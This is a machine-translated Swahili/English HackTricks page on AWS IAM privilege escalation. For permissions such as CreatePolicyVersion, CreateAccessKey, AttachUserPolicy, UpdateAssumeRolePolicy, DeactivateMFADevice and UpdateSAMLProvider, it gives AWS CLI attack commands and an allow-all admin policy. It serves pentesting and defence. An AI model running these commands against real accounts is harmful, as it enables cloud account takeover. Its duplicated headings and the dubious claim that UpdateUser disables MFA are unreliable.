AWS - IAM Privesc

Support HackTricks

IAM

Kwa maelezo zaidi kuhusu IAM angalia:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, kupita hitaji la ruhusa ya iam:SetDefaultPolicyVersion kwa kutumia bendera ya --set-as-default. Hii inawezesha kufafanua ruhusa maalum.

Amri ya Kunyakua:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact: Huinua marupurupu moja kwa moja kwa kuruhusu hatua yoyote kwenye rasilimali yoyote.

iam:SetDefaultPolicyVersion

Inaruhusu kubadilisha toleo chaguo-msingi la sera ya IAM kuwa toleo lingine lililopo, ikiwezekana kuinua marupurupu ikiwa toleo jipya lina ruhusa zaidi.

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Athari: Kuongezeka kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.

iam:CreateAccessKey

Inaruhusu kuunda kitambulisho cha ufunguo wa ufikiaji na ufunguo wa siri wa ufikiaji kwa mtumiaji mwingine, na kusababisha uwezekano wa kuongezeka kwa ruhusa.

Shambulio:

aws iam create-access-key --user-name <target_user>

Athari: Kuongezeka kwa ruhusa moja kwa moja kwa kudhani ruhusa za mtumiaji mwingine.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Inaruhusu kuunda au kusasisha wasifu wa kuingia, ikijumuisha kuweka nywila za kuingia kwenye AWS console, na kusababisha kuongezeka kwa ruhusa moja kwa moja.

Njia ya Kuitumia kwa Uundaji:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit for Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Athari: Kuongezeka kwa upendeleo moja kwa moja kwa kuingia kama mtumiaji "yeyote".

iam:UpdateAccessKey

Inaruhusu kuwezesha ufunguo wa ufikiaji uliodhibitiwa, ambayo inaweza kusababisha ufikiaji usioidhinishwa ikiwa mshambulizi anamiliki ufunguo uliodhibitiwa.

Shambulio:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact: Kuongezeka kwa upendeleo moja kwa moja kwa kurejesha funguo za ufikiaji.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Inaruhusu kuzalisha au kuweka upya sifa za huduma maalum za AWS (mfano, CodeCommit, Amazon Keyspaces), kurithi ruhusa za mtumiaji husika.

Njia ya Uundaji:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit for Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Ukomo wa moja kwa moja wa upendeleo ndani ya ruhusa za huduma za mtumiaji.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Inaruhusu kuambatisha sera kwa watumiaji au vikundi, ikiongeza upendeleo moja kwa moja kwa kurithi ruhusa za sera iliyoambatishwa.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit for Group:

Exploit kwa Group:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Athari: Kuongezeka kwa marupurupu moja kwa moja kwa chochote ambacho sera inaruhusu.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, kuwezesha kuongezeka kwa marupurupu moja kwa moja kwa kutoa ruhusa za ziada.

Exploit kwa Jukumu:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit for Inline Policies:

Exploit kwa Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Unaweza kutumia sera kama:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Impact: Uboreshaji wa moja kwa moja wa ruhusa kwa kuongeza ruhusa kupitia sera.

iam:AddUserToGroup

Inaruhusu kuongeza mwenyewe kwenye kundi la IAM, kuboresha ruhusa kwa kurithi ruhusa za kundi.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Kuongezeka kwa marupurupu moja kwa moja hadi kiwango cha ruhusa za kikundi.

iam:UpdateAssumeRolePolicy

Inaruhusu kubadilisha hati ya sera ya kuchukua jukumu, kuwezesha kuchukua jukumu na ruhusa zake zinazohusiana.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Ambapo sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Athari: Kuongezeka kwa marupurupu moja kwa moja kwa kudhani ruhusa za jukumu lolote.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Inaruhusu kupakia ufunguo wa umma wa SSH kwa ajili ya kuthibitisha kwa CodeCommit na kuzima vifaa vya MFA, na kusababisha uwezekano wa kuongezeka kwa marupurupu kwa njia isiyo ya moja kwa moja.

Shambulio la Kupakia Ufunguo wa SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit for MFA Deactivation:

Udhaifu wa Kuzuia MFA:

  1. Kuzima MFA kwa kutumia DeactivateMFADevice: Ikiwa mshambuliaji ana ruhusa ya kutumia DeactivateMFADevice, wanaweza kuzima MFA kwa akaunti yoyote. Hii inaruhusu mshambuliaji kuingia kwenye akaunti bila hitaji la MFA.

  2. Kuzima MFA kwa kutumia UpdateUser: Ikiwa mshambuliaji ana ruhusa ya kutumia UpdateUser, wanaweza kubadilisha jina la mtumiaji na kuzima MFA. Hii inaruhusu mshambuliaji kuingia kwenye akaunti bila hitaji la MFA.

Ulinzi dhidi ya Udhaifu wa Kuzuia MFA:

  1. Kuzuia ruhusa za DeactivateMFADevice na UpdateUser kwa watumiaji wasiohitajika: Hakikisha kuwa watumiaji wana ruhusa hizi tu ikiwa ni lazima kabisa.

  2. Kufuatilia shughuli za MFA: Tumia zana za kufuatilia ili kugundua na kujibu haraka shughuli zozote za kutiliwa shaka zinazohusiana na MFA.

  3. Kutumia sera za IAM: Tumia sera za IAM ili kudhibiti na kusimamia ruhusa za watumiaji kwa ufanisi zaidi.

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Kuongezeka kwa upendeleo kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kuzima ulinzi wa MFA.

iam:ResyncMFADevice

Inaruhusu kusawazisha tena kifaa cha MFA, ambacho kinaweza kusababisha kuongezeka kwa upendeleo kwa njia isiyo ya moja kwa moja kwa kudanganya ulinzi wa MFA.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Kuongezeka kwa upendeleo kwa njia isiyo ya moja kwa moja kwa kuongeza au kudhibiti vifaa vya MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Kwa ruhusa hizi unaweza kubadilisha metadata ya XML ya muunganisho wa SAML. Kisha, unaweza kutumia vibaya SAML federation ili kuingia na jukumu lolote linaloamini.

Kumbuka kuwa kufanya hivi watumiaji halali hawataweza kuingia. Hata hivyo, unaweza kupata XML, ili uweze kuweka yako, kuingia na kusanidi tena ile ya awali.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Chombo kinachoweza kuzalisha metadata ya SAML na kuingia na jukumu maalum

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Kutokuwa na uhakika kuhusu hili) Ikiwa mshambulizi ana hizi ruhusa anaweza kuongeza Thumbprint mpya ili kuweza kuingia katika majukumu yote yanayoamini mtoa huduma.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Marejeo

Support HackTricks

Last updated